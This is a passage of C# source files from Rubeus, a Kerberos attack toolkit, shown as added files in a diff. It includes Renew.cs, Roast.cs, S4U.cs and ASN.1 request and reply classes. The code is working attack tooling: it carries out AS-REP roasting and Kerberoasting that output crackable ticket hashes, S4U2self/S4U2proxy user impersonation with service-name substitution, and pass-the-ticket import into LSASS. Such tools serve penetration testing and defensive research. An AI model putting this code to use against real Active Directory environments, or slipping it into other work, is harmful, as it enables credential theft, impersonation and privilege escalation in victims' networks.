// build byte[req len + req bytes]
byte[] totalRequestBytes = new byte[lenBytes.Length + data.Length];
Array.Copy(lenBytes, totalRequestBytes, lenBytes.Length);
Array.Copy(data, 0, totalRequestBytes, lenBytes.Length, data.Length);
try
{
// connect to the srever over The specified port
socket.Connect(endPoint);
}
catch (Exception e)
{
Console.WriteLine("[X] Error connecing to {0}:{1} : {2}", server, port, e.Message);
return null;
}
// actually send the bytes
int bytesSent = socket.Send(totalRequestBytes);
Console.WriteLine("[*] Sent {0} bytes", bytesSent);
byte[] responseBuffer = new byte[2500];
int bytesReceived = socket.Receive(responseBuffer);
Console.WriteLine("[*] Received {0} bytes", bytesReceived);
byte[] response = new byte[bytesReceived - 4];
Array.Copy(responseBuffer, 4, response, 0, bytesReceived - 4);
socket.Close();
return response;
}
}
}

211
Rubeus/lib/Renew.cs Executable file
View File

@ -0,0 +1,211 @@
using System;
using System.IO;
using System.Linq;
using Asn1;
namespace Rubeus
{
public class Renew
{
public static void TGTAutoRenew(KRB_CRED kirbi, string domainController = "", bool display = true)
{
Console.WriteLine("[*] Action: Auto-Renew TGT");
KRB_CRED currentKirbi = kirbi;
while (true)
{
// extract out the info needed for the TGS-REQ/AP-REQ renewal
string userName = currentKirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = currentKirbi.enc_part.ticket_info[0].prealm;
Console.WriteLine("\r\n\r\n[*] User : {0}@{1}", userName, domain);
DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].endtime);
DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].renew_till);
Console.WriteLine("[*] endtime : {0}", endTime);
Console.WriteLine("[*] renew-till : {0}", renewTill);
if (endTime > renewTill)
{
Console.WriteLine("\r\n[*] renew-till window ({0}) has passed.\r\n", renewTill);
return;
}
else
{
double ticks = (endTime - DateTime.Now).Ticks;
if (ticks < 0)
{
Console.WriteLine("\r\n[*] endtime is ({0}) has passed, no renewal possible.\r\n", endTime);
return;
}
// get the window to sleep until the next endtime for the ticket, -30 minutes for a window
double sleepMinutes = TimeSpan.FromTicks((endTime - DateTime.Now).Ticks).TotalMinutes - 30;
Console.WriteLine("[*] Sleeping for {0} minutes (endTime-30) before the next renewal", (int)sleepMinutes);
System.Threading.Thread.Sleep((int)sleepMinutes * 60 * 1000);
Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domain);
byte[] bytes = TGT(currentKirbi, false, domainController, true);
currentKirbi = new KRB_CRED(bytes);
}
}
}
public static byte[] TGT(KRB_CRED kirbi, bool ptt = false, string domainController = "", bool display = true)
{
// extract out the info needed for the TGS-REQ/AP-REQ renewal
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
// request the new TGT renewal
return TGT(userName, domain, ticket, clientKey, etype, ptt, domainController, display);
}
public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", bool display = true)
{
if (display)
{
Console.WriteLine("[*] Action: Renew TGT\r\n");
}
// grab the default DC if none was supplied
if (String.IsNullOrEmpty(domainController))
{
domainController = Networking.GetDCName();
if (String.IsNullOrEmpty(domainController))
{
return null;
}
}
System.Net.IPAddress[] dcIP;
try
{
dcIP = System.Net.Dns.GetHostAddresses(domainController);
}
catch (Exception e)
{
Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
return null;
}
if (display)
{
Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName);
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, true);
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes);
if(response == null)
{
return null;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] TGT renewal request successful!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
if (display)
{
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
return kirbiBytes;
}
else
{
return kirbiBytes;
}
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return null;
}
}
}

347
Rubeus/lib/Roast.cs Executable file
View File

@ -0,0 +1,347 @@
using System;
using Asn1;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using System.Security.Principal;
using System.DirectoryServices;
using System.DirectoryServices.AccountManagement;
namespace Rubeus
{
public class Roast
{
public static void ASRepRoast(string userName, string domain, string domainController = "")
{
GetASRepHash(userName, domain, domainController);
}
public static void GetASRepHash(string userName, string domain, string domainController = "")
{
// roast AS-REPs for users without pre-authentication enabled
Console.WriteLine("[*] Action: AS-REP Roasting");
// grab the default DC if none was supplied
if (String.IsNullOrEmpty(domainController)) {
domainController = Networking.GetDCName();
if(String.IsNullOrEmpty(domainController))
{
Console.WriteLine("[X] Error retrieving the current domain controller.");
return;
}
}
System.Net.IPAddress[] dcIP = null;
try
{
dcIP = System.Net.Dns.GetHostAddresses(domainController);
}
catch (Exception e) {
Console.WriteLine("[X] Error retrieving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
return;
}
Console.WriteLine("\r\n[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName);
byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac);
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes);
if (response == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 11)
{
Console.WriteLine("[+] AS-REQ w/o preauth successful!");
// parse the response to an AS-REP
AS_REP rep = new AS_REP(response);
// output the hash of the encrypted KERB-CRED in a crackable hash form
string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty);
string hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash);
Console.WriteLine("[*] AS-REP hash:\r\n");
// display the base64 of a hash, columns of 80 chararacters
foreach (string line in Helpers.Split(hashString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", System.Net.NetworkCredential cred = null)
{
Console.WriteLine("[*] Action: Kerberoasting");
if (!String.IsNullOrEmpty(spn))
{
Console.WriteLine("\r\n[*] ServicePrincipalName : {0}", spn);
GetDomainSPNTicket(spn);
}
else
{
DirectoryEntry directoryObject = null;
DirectorySearcher userSearcher = null;
string bindPath = "";
try
{
if (cred != null)
{
if (!String.IsNullOrEmpty(OUName))
{
string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
}
else
{
bindPath = String.Format("LDAP://{0}", cred.Domain);
}
}
else if (!String.IsNullOrEmpty(OUName))
{
string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
bindPath = String.Format("LDAP://{0}", ouPath);
}
if (!String.IsNullOrEmpty(bindPath))
{
directoryObject = new DirectoryEntry(bindPath);
}
else
{
directoryObject = new DirectoryEntry();
}
if (cred != null)
{
// if we're using alternate credentials for the connection
string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
directoryObject.Username = userDomain;
directoryObject.Password = cred.Password;
using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
{
if (!pc.ValidateCredentials(cred.UserName, cred.Password))
{
Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
return;
}
}
}
userSearcher = new DirectorySearcher(directoryObject);
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
return;
}
// check to ensure that the bind worked correctly
try
{
Guid guid = directoryObject.Guid;
}
catch (DirectoryServicesCOMException ex)
{
if (!String.IsNullOrEmpty(OUName))
{
Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
}
else
{
Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
}
return;
}
try
{
if (String.IsNullOrEmpty(userName))
{
userSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))";
}
else
{
userSearcher.Filter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName={0}))", userName);
}
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
return;
}
try
{
SearchResultCollection users = userSearcher.FindAll();
foreach (SearchResult user in users)
{
string samAccountName = user.Properties["samAccountName"][0].ToString();
string distinguishedName = user.Properties["distinguishedName"][0].ToString();
string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();
Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName);
Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName);
Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName);
GetDomainSPNTicket(servicePrincipalName, userName, distinguishedName, cred);
}
}
catch (Exception ex)
{
Console.WriteLine("\r\n [X] Error executing the domain searcher: {0}", ex.InnerException.Message);
return;
}
}
//else - search for user/OU/etc.
}
public static void GetDomainSPNTicket(string spn, string userName = "user", string distinguishedName = "", System.Net.NetworkCredential cred = null)
{
string domain = "DOMAIN";
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] spn : {0}", spn);
Console.WriteLine("[Debug:GetDomainSPNTicket] userName : {0}", userName);
Console.WriteLine("[Debug:GetDomainSPNTicket] distinguishedName : {0}", distinguishedName);
#endif
if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase))
{
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] Regex match!");
#endif
// extract the domain name from the distinguishedname
Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase);
string domainDN = dnMatch.Groups["Domain"].ToString();
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] domainDN : {0}", domainDN);
#endif
domain = domainDN.Replace("DC=", "").Replace(',', '.');
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] domain : {0}", domain);
#endif
}
try
{
//Console.WriteLine("[*] Requesting ticket for SPN: {0}", spn);
System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket;
if (cred != null)
{
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] cred != null");
#endif
ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());
}
else
{
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] cred == null, usingn SPN : {0}", spn);
#endif
ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn);
}
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] KerberosRequestorSecurityToken request successful");
#endif
byte[] requestBytes = ticket.GetRequest();
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] requestBytes len: {0}", requestBytes.Length);
#endif
if ( !((requestBytes[15] == 1) && (requestBytes[16] == 0)) )
{
Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n");
return;
}
// ignore the GSSAPI frame
byte[] apReqBytes = new byte[requestBytes.Length-17];
Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17);
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] Copied past GSSAPI frame. apReqBytes len: {0}", apReqBytes.Length);
#endif
AsnElt apRep = AsnElt.Decode(apReqBytes);
#if DEBUG
Console.WriteLine("[Debug:GetDomainSPNTicket] apRep.TagValue: {0}", apRep.TagValue);
#endif
if (apRep.TagValue != 14)
{
Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue);
}
long encType = 0;
foreach (AsnElt elem in apRep.Sub[0].Sub)
{
if (elem.TagValue == 0)
{
encType = elem.Sub[0].GetInteger();
}
else if (elem.TagValue == 3)
{
foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub)
{
if(elem2.TagValue == 3)
{
foreach (AsnElt elem3 in elem2.Sub[0].Sub)
{
if (elem3.TagValue == 2)
{
byte[] cipherTextBytes = elem3.Sub[0].GetOctetString();
string cipherText = BitConverter.ToString(cipherTextBytes).Replace("-", "");
string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32));
bool header = false;
foreach (string line in Helpers.Split(hash, 80))
{
if (!header)
{
Console.WriteLine("[*] Hash : {0}", line);
}
else
{
Console.WriteLine(" {0}", line);
}
header = true;
}
Console.WriteLine();
}
}
}
}
}
}
}
catch (Exception ex)
{
Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message);
}
}
}
}

237
Rubeus/lib/S4U.cs Executable file
View File

@ -0,0 +1,237 @@
using System;
using System.IO;
using System.Linq;
using Asn1;
namespace Rubeus
{
public class S4U
{
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
{
// first retrieve a TGT for the user
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false);
Console.WriteLine();
if (kirbiBytes == null)
{
Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters");
return;
}
// transform the TGT bytes into a .kirbi file
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
// execute the s4u process
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService);
}
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
{
Console.WriteLine("[*] Action: S4U\r\n");
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
// grab the default DC if none was supplied
if (String.IsNullOrEmpty(domainController))
{
domainController = Networking.GetDCName();
if (String.IsNullOrEmpty(domainController))
{
return;
}
}
System.Net.IPAddress[] dcIP = System.Net.Dns.GetHostAddresses(domainController);
Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
if (!String.IsNullOrEmpty(altService))
{
Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService);
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes);
if (response == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
TGS_REQ s4u2proxyReq = new TGS_REQ();
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
s4u2proxyReq.padata.Add(padata);
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
s4u2proxyReq.req_body.realm = domain;
string[] parts = targetSPN.Split('/');
s4u2proxyReq.req_body.sname.name_type = 2;
// the sname
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
// the server
s4u2proxyReq.req_body.sname.name_string.Add(parts[1]);
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
Console.WriteLine("[*] Sending S4U2proxy request");
byte[] response2 = Networking.SendBytes(dcIP[0].ToString(), 88, s4ubytes);
if (response == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn2 = AsnElt.Decode(response2, false);
// check the response value
int responseTag2 = responseAsn2.TagValue;
if (responseTag2 == 13)
{
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep2 = new TGS_REP(responseAsn2);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// if we want an alternate sname, first substitute it into the ticket structure
if (!String.IsNullOrEmpty(altService))
{
rep2.ticket.sname.name_string[0] = altService;
}
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// if we want an alternate sname, lastely substitute it into the encrypted portion of the KRB_CRED
if (!String.IsNullOrEmpty(altService))
{
Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
info.sname.name_string[0] = altService;
}
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
}
}

View File

@ -0,0 +1,112 @@
using Asn1;
using System;
using System.Collections.Generic;
using System.IO;
namespace Rubeus
{
//AP-REQ ::= [APPLICATION 14] SEQUENCE {
// pvno [0] INTEGER (5),
// msg-type [1] INTEGER (14),
// ap-options [2] APOptions,
// ticket [3] Ticket,
// authenticator [4] EncryptedData -- Authenticator
//}
public class AP_REQ
{
public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype)
{
pvno = 5;
msg_type = 14;
ap_options = 0;
ticket = providedTicket;
enctype = etype;
key = clientKey;
authenticator = new Authenticator();
authenticator.crealm = crealm;
authenticator.cname = new PrincipalName(cname);
}
public AsnElt Encode()
{
// pvno [0] INTEGER (5)
AsnElt pvnoASN = AsnElt.MakeInteger(pvno);
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoASN });
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
// msg-type [1] INTEGER (14)
AsnElt msg_typeASN = AsnElt.MakeInteger(msg_type);
AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_typeASN });
msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
// ap-options [2] APOptions
byte[] ap_optionsBytes = BitConverter.GetBytes(ap_options);
AsnElt ap_optionsASN = AsnElt.MakeBitString(ap_optionsBytes);
AsnElt ap_optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ap_optionsASN });
ap_optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ap_optionsSeq);
// ticket [3] Ticket
AsnElt ticketASN = ticket.Encode();
AsnElt ticktSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ticketASN });
ticktSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, ticktSeq);
// authenticator [4] EncryptedData
// KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR 7
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61
if (key == null)
{
Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ");
return null;
}
byte[] authenticatorBytes = authenticator.Encode().Encode();
//byte[] keyBytes = Helpers.StringToByteArray(key);
byte[] encBytes = Crypto.KerberosEncrypt(enctype, 7, key, authenticatorBytes);
// create the EncryptedData structure to hold the authenticator bytes
EncryptedData authenticatorEncryptedData = new EncryptedData();
authenticatorEncryptedData.etype = (int)enctype;
authenticatorEncryptedData.cipher = encBytes;
AsnElt authenticatorEncryptedDataASN = authenticatorEncryptedData.Encode();
AsnElt authenticatorEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authenticatorEncryptedDataASN });
authenticatorEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authenticatorEncryptedDataSeq);
// encode it all into a sequence
AsnElt[] total = new[] { pvnoSeq, msg_typeSeq, ap_optionsSeq, ticktSeq, authenticatorEncryptedDataSeq };
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
// AP-REQ ::= [APPLICATION 14]
// put it all together and tag it with 14
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 14, totalSeq);
return totalSeq;
}
public long pvno { get; set;}
public long msg_type { get; set; }
public UInt32 ap_options { get; set; }
public Ticket ticket { get; set; }
public Authenticator authenticator { get; set; }
public byte[] key { get; set; }
private Interop.KERB_ETYPE enctype;
}
}

View File

@ -0,0 +1,101 @@
using Asn1;
using System;
using System.Text;
namespace Rubeus
{
public class AS_REP
{
//AS-REP ::= [APPLICATION 11] KDC-REP
//KDC-REP ::= SEQUENCE {
// pvno [0] INTEGER (5),
// msg-type [1] INTEGER (11 -- AS),
// padata [2] SEQUENCE OF PA-DATA OPTIONAL
// -- NOTE: not empty --,
// crealm [3] Realm,
// cname [4] PrincipalName,
// ticket [5] Ticket,
// enc-part [6] EncryptedData
// -- EncASRepPart
//}
public AS_REP(byte[] data)
{
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt asn_AS_REP = AsnElt.Decode(data, false);
this.Decode(asn_AS_REP);
}
public AS_REP(AsnElt asn_AS_REP)
{
this.Decode(asn_AS_REP);
}
private void Decode(AsnElt asn_AS_REP)
{
// AS-REP::= [APPLICATION 11] KDC-REQ
if (asn_AS_REP.TagValue != 11)
{
throw new System.Exception("AS-REP tag value should be 11");
}
if ((asn_AS_REP.Sub.Length != 1) || (asn_AS_REP.Sub[0].TagValue != 16))
{
throw new System.Exception("First AS-REP sub should be a sequence");
}
// extract the KDC-REP out
AsnElt[] kdc_rep = asn_AS_REP.Sub[0].Sub;
foreach (AsnElt s in kdc_rep)
{
switch (s.TagValue)
{
case 0:
pvno = s.Sub[0].GetInteger();
break;
case 1:
msg_type = s.Sub[0].GetInteger();
break;
case 2:
// sequence of pa-data
//padata = new PA_DATA(s.Sub[0]);
break;
case 3:
crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
break;
case 4:
cname = new PrincipalName(s.Sub[0]);
break;
case 5:
ticket = new Ticket(s.Sub[0].Sub[0]);
break;
case 6:
enc_part = new EncryptedData(s.Sub[0]);
break;
default:
break;
}
}
}
// won't really every need to *create* a AS reply, so no encode
public long pvno { get; set; }
public long msg_type { get; set; }
public PA_DATA padata { get; set; }
public string crealm { get; set; }
public PrincipalName cname { get; set; }
public Ticket ticket { get; set; }
public EncryptedData enc_part { get; set; }
}
}

View File

@ -0,0 +1,206 @@
using Asn1;
using System;
using System.Collections.Generic;
using System.IO;
namespace Rubeus
{
//AS-REQ ::= [APPLICATION 10] KDC-REQ
//KDC-REQ ::= SEQUENCE {
// -- NOTE: first tag is [1], not [0]
// pvno [1] INTEGER (5) ,
// msg-type [2] INTEGER (10 -- AS),
// padata [3] SEQUENCE OF PA-DATA OPTIONAL
// -- NOTE: not empty --,
// req-body [4] KDC-REQ-BODY
//}
public class AS_REQ
{
public static byte[] NewASReq(string userName, string domain, Interop.KERB_ETYPE etype)
{
// build a new AS-REQ for the given userName, domain, and etype, but no PA-ENC-TIMESTAMP
// used for AS-REP-roasting
AS_REQ req = new AS_REQ();
// set the username to roast
req.req_body.cname.name_string.Add(userName);
// the realm (domain) the user exists in
req.req_body.realm = domain;
// KRB_NT_SRV_INST = 2
// service and other unique instance (krbtgt)
req.req_body.sname.name_type = 2;
req.req_body.sname.name_string.Add("krbtgt");
req.req_body.sname.name_string.Add(domain);
// add in our encryption type
req.req_body.etypes.Add(etype);
return req.Encode().Encode();
}
public static byte[] NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype)
{
